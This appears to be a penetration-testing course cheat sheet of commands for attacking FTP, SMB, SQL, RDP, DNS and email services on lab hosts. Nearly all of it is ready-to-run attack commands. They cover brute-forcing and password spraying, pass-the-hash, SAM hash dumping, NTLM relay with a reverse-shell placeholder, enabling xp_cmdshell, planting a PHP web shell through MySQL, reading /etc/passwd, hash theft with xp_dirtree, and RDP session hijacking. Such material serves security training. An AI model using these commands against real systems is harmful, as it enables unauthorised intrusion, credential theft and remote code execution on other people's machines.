

# ATTACKING COMMON SERVICES

## CHEAT SHEET

### Attacking FTP

Command	Description
<code>ftp 192.168.2.142</code>	Connecting to the FTP server using the <b>ftp</b> client.
<code>nc -v 192.168.2.142 21</code>	Connecting to the FTP server using <b>netcat</b> .
<code>hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142</code>	Brute-forcing the FTP service.

### Attacking SMB

Command	Description
<code>smbclient -N -L //10.129.14.128</code>	Null-session testing against the SMB service.
<code>smbmap -H 10.129.14.128</code>	Network share enumeration using <b>smbmap</b> .
<code>smbmap -H 10.129.14.128 -r notes</code>	Recursive network share enumeration using <b>smbmap</b> .
<code>smbmap -H 10.129.14.128 --download "notes\note.txt"</code>	Download a specific file from the shared folder.

Command	Description
<code>smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"</code>	Upload a specific file to the shared folder.
<code>rpcclient -U%' 10.10.110.17</code>	Null-session with the <b>rpcclient</b> .
<code>./enum4linux-ng.py 10.10.11.45 -A -C</code>	Automated enumeration of the SMB service using <b>enum4linux-ng</b> .
<code>crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!'</code>	Password spraying against different users from a list.
<code>impacket-psexec administrator:'Password123! '@10.10.110.17</code>	Connect to the SMB service using the <b>impacket-psexec</b> .
<code>crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec</code>	Execute a command over the SMB service using <b>crackmapexec</b> .
<code>crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users</code>	Enumerating Logged-on users.
<code>crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam</code>	Extract hashes from the SAM database.
<code>crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE</code>	Use the Pass-The-Hash technique to authenticate on the target host.
<code>impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146</code>	Dump the SAM database using <b>impacket-ntlmrelayx</b> .
<code>impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e &lt;base64 reverse shell&gt;</code>	Execute a PowerShell based reverse shell using <b>impacket-ntlmrelayx</b> .

## Attacking SQL Databases

Command	Description
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Command	Description
<code>mysql -u julio -pPassword123 -h 10.129.20.13</code>	Connecting to the MySQL server.
<code>sqlcmd -S SRVMSSQL\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30</code>	Connecting to the MSSQL server.
<code>sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h</code>	Connecting to the MSSQL server from Linux.
<code>sqsh -S 10.129.203.7 -U .\julio -P 'MyPassword!' -h</code>	Connecting to the MSSQL server from Linux while Windows Authentication mechanism is used by the MSSQL server.
<code>mysql&gt; SHOW DATABASES;</code>	Show all available databases in MySQL.
<code>mysql&gt; USE htbusers;</code>	Select a specific database in MySQL.
<code>mysql&gt; SHOW TABLES;</code>	Show all available tables in the selected database in MySQL.
<code>mysql&gt; SELECT * FROM users;</code>	Select all available entries from the "users" table in MySQL.
<code>sqlcmd&gt; SELECT name FROM master.dbo.sysdatabases</code>	Show all available databases in MSSQL.
<code>sqlcmd&gt; USE htbusers</code>	Select a specific database in MSSQL.
<code>sqlcmd&gt; SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES</code>	Show all available tables in the selected database in MSSQL.
<code>sqlcmd&gt; SELECT * FROM users</code>	Select all available entries from the "users" table in MSSQL.
<code>sqlcmd&gt; EXECUTE sp_configure 'show advanced options', 1</code>	To allow advanced options to be changed.
<code>sqlcmd&gt; EXECUTE sp_configure 'xp_cmdshell', 1</code>	To enable the xp_cmdshell.

Command	Description
<code>sqlcmd&gt; RECONFIGURE</code>	To be used after each <code>sp_configure</code> command to apply the changes.
<code>sqlcmd&gt; xp_cmdshell 'whoami'</code>	Execute a system command from MSSQL server.
<code>mysql&gt; SELECT "&lt;?php echo shell_exec(\$_GET['c']);?&gt;" INTO OUTFILE '/var/www/html/webshell.php'</code>	Create a file using MySQL.
<code>mysql&gt; show variables like "secure_file_priv";</code>	Check if the the secure file privileges are empty to read locally stored files on the system.
<code>sqlcmd&gt; SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents</code>	Read local files in MSSQL.
<code>mysql&gt; select LOAD_FILE("/etc/passwd");</code>	Read local files in MySQL.
<code>sqlcmd&gt; EXEC master..xp_dirtree '\\10.10.110.17\share\'</code>	Hash stealing using the <code>xp_dirtree</code> command in MSSQL.
<code>sqlcmd&gt; EXEC master..xp_subdirs '\\10.10.110.17\share\'</code>	Hash stealing using the <code>xp_subdirs</code> command in MSSQL.
<code>sqlcmd&gt; SELECT srvname, isremote FROM sys.servers</code>	Identify linked servers in MSSQL.
<code>sqlcmd&gt; EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]</code>	Identify the user and its privileges used for the remote connection in MSSQL.

## Attacking RDP

Command	Description
<code>crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'</code>	Password spraying against the RDP service.



Command	Description
<code>hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp</code>	Brute-forcing the RDP service.
<code>rdesktop -u admin -p password123 192.168.2.143</code>	Connect to the RDP service using <b>rdesktop</b> in Linux.
<code>tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}</code>	Impersonate a user without its password.
<code>net start sessionhijack</code>	Execute the RDP session hijack.
<code>reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f</code>	Enable "Restricted Admin Mode" on the target Windows host.
<code>xfreerdp /v:192.168.2.141 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA</code>	Use the Pass-The-Hash technique to login on the target host without a password.

## Attacking DNS

Command	Description
<code>dig AXFR @ns1.inlanefreight.htb inlanefreight.htb</code>	Perform an AXFR zone transfer attempt against a specific name server.
<code>subfinder -d inlanefreight.com -v</code>	Brute-forcing subdomains.
<code>host support.inlanefreight.com</code>	DNS lookup for the specified subdomain.

## Attacking Email Services

Command	Description
<code>host -t MX microsoft.com</code>	DNS lookup for mail servers for the specified domain.

Command	Description
<code>dig mx inlanefreight.com   grep "MX"   grep -v ";"</code>	DNS lookup for mail servers for the specified domain.
<code>host -t A mail1.inlanefreight.htb.</code>	DNS lookup of the IPv4 address for the specified subdomain.
<code>telnet 10.10.110.20 25</code>	Connect to the SMTP server.
<code>smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7</code>	SMTP user enumeration using the RCPT command against the specified host.
<code>python3 o365spray.py --validate --domain msplaintext.xyz</code>	Verify the usage of Office365 for the specified domain.
<code>python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz</code>	Enumerate existing users using Office365 on the specified domain.
<code>python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz</code>	Password spraying against a list of users that use Office365 for the specified domain.
<code>hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3</code>	Brute-forcing the POP3 service.
<code>swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213</code>	Testing the SMTP service for the open-relay vulnerability.